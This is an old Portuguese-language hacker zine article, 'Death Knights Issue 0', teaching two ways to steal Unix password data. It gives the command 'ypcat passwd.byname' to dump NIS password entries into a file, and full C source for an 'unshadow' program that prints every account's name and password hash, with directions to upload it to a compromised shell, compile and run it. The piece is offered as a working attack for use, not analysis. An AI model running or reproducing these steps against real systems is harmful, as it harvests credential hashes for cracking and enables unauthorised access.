usando o ypcat para pegar passwd'z
Death Knights Issue 0
by ReNeGaDe
O que podemos falar sobre esse assunto vou comecar explicando um metodo facil de como pegar mais so pega mesmo se o Admin for muito Lamer para deixar esse BUG ainda entao la vai...
1 Metodo:
E so vocà ir em qualquer dir e escrever: ypcat passwd.byname>senhas ou inves de ypcat pode usar cat ai ele vai criar um arq como senhas com o passwd la simples nao??
2 Metodo:
Para quem nao sabe esse metodo e com o unshadow.c se voce nao tem ele olha ele ai..
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
Voce vai pegar mandar esse unshadow.c para a shell chegando la vc compila com o cc ou gcc nao importa os dois serve quando compilar so e voce executar
a.out>passwd
Acabou aqui esses sao os dois metodos mais simples de se pegar um passwd na minha opniao na proxima edicao a gente vai aprofundar mais no assunto espero que gostem.